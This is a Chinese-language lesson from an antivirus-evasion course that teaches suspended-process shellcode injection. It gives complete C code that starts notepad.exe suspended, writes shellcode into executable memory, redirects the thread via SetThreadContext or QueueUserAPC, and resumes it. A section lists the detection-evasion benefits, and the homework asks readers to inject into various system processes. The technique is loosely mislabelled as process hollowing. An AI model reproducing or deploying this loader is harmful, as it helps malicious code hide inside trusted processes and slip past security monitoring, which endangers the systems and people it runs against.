免杀专题
8、进程挂起注入执行ShellCode
1. 课程概述
1.1 学习目标
- 理解进程挂起状态的原理
- 掌握Process Hollowing技术
- 学会在挂起进程中注入ShellCode
- 理解如何绕过进程创建监控
2. 名词解释
| 术语 | 说明 |
|---|---|
| CREATE_SUSPENDED | 创建挂起状态的进程 |
| Process Hollowing | 指空目标进程内存并替换代码 |
| Thread Context | 线程上下文,包含寄存器状态 |
| ResumeThread | 恢复挂起的线程 |
3. 技术原理
1. 创建挂起状态的合法进程 (svchost.exe等)
2. 进程未执行任何代码
3. 向目标进程写入ShellCode
4. 修改入口点或线程上下文
5. 恢复线程执行
4. 实现代码
4.1 基本挂起进程注入
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
// x64 shellcode
0x48, 0x31, 0xC9, // xor rcx, rcx
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0xC3 // ret
};
int main() {
printf("========== Process Hollowing Injection ==========\n");
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
// 1. 创建挂起状态的进程
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed\n");
return 1;
}
printf("[+] Created suspended process, PID: %lu\n", pi.dwProcessId);
// 2. 分配内存
LPVOID pRemote = VirtualAllocEx(
pi.hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
if (!pRemote) {
printf("[-] VirtualAllocEx failed\n");
TerminateProcess(pi.hProcess, 0);
return 1;
}
printf("[+] Allocated memory at: 0x%p\n", pRemote);
// 3. 写入ShellCode
SIZE_T written;
if (!WriteProcessMemory(pi.hProcess, pRemote, shellcode,
sizeof(shellcode), &written)) {
printf("[-] WriteProcessMemory failed\n");
TerminateProcess(pi.hProcess, 0);
return 1;
}
printf("[+] Written %zu bytes\n", written);
// 4. 获取线程上下文
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
printf("[*] Original RIP: 0x%llX\n", ctx.Rip);
// 5. 修改RIP指向我们的ShellCode
ctx.Rip = (DWORD64)pRemote;
SetThreadContext(pi.hThread, &ctx);
printf("[+] RIP modified to: 0x%llX\n", ctx.Rip);
// 6. 恢复线程
printf("[*] Resuming thread...\n");
ResumeThread(pi.hThread);
// 等待一下观察结果
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
printf("[+] Done!\n");
return 0;
}
4.2 使用QueueUserAPC的方式
// 使用APC而不是修改上下文
if (!QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0)) {
printf("[-] QueueUserAPC failed\n");
return 1;
}
// 必须恢复线程才APC会执行
ResumeThread(pi.hThread);
5. 免杀优势
- 利用合法进程身份
- 挂起状态时无法检测行为
- 可选择可信的系统进程
6. 课后作业
- 实现挂起进程注入并弹出计算器
- 尝试注入到不同的系统进程
- 对比APC和Context修改的效果
7. 下一课预告
下一课我们将学习**“Windows日志绕过”**。